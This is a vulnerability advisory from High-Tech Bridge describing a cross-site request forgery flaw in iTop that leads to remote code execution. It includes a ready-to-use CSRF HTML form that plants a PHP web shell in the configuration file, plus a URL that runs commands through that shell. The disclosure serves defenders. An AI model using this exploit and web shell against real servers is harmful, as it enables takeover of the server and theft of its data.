Remote Code Execution via CSRF in iTop

2016-02-10T00:00:00
ID HTB23293
Type htbridge
Reporter High-Tech Bridge
Modified 2016-02-10T00:00:00

Description

High-Tech Bridge Security Research Lab discovered a Remote Code Execution vulnerability in iTop that is exploitable via Cross-Site Request Forgery flaw that is also present in the application. The vulnerability exists due to absence of validation of HTTP request origin in "/env-production/itop-config/config.php" script, as well as lack of user-input sanitization received via "new_config" HTTP POST parameter.

A remote unauthenticated attacker can perform CSRF attack and execute arbitrary PHP code on the vulnerable system with privileges of the web server. Successful exploitation of the vulnerability may allow an attacker to execute arbitrary system commands on the web server, gain complete access to vulnerable web application and its databases that may contain very sensitive information.

The attacker shall create a malicious web page with CSRF exploit code, trick a logged-in administrator to visit the page, spoof the HTTP request as if it was coming from the legitimate user, and permanently inject malicious PHP code into iTop configuration file.

CSRF exploit will inject the following PHP code into iTop configuration file:

<? if(isset($_GET['cmd'])) die(passthru($_GET['cmd'])); ?>

To reproduce the vulnerability, just create an empty HTML file and paste the following CSRF exploit code into it:

<form action="http://[host]/env-production/itop-config/config.php?c%5Bmenu%5D=Conf igEditor" method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="prev_config" value="1">
<input type="hidden" name="new_config" value="<? if(isset($_GET['cmd'])) die(passthru($_GET['cmd'])); ?>">
<input value="submit" id="btn" type="submit" />
</form>

Then login to iTop website with admin account and open the file in your browser.

After successful exploitation an attacker can run arbitrary system commands using the "/pages/UI.php" script. This simple PoC will execute "/bin/ls" directory listing command:

http://[host]/pages/UI.php?cmd=ls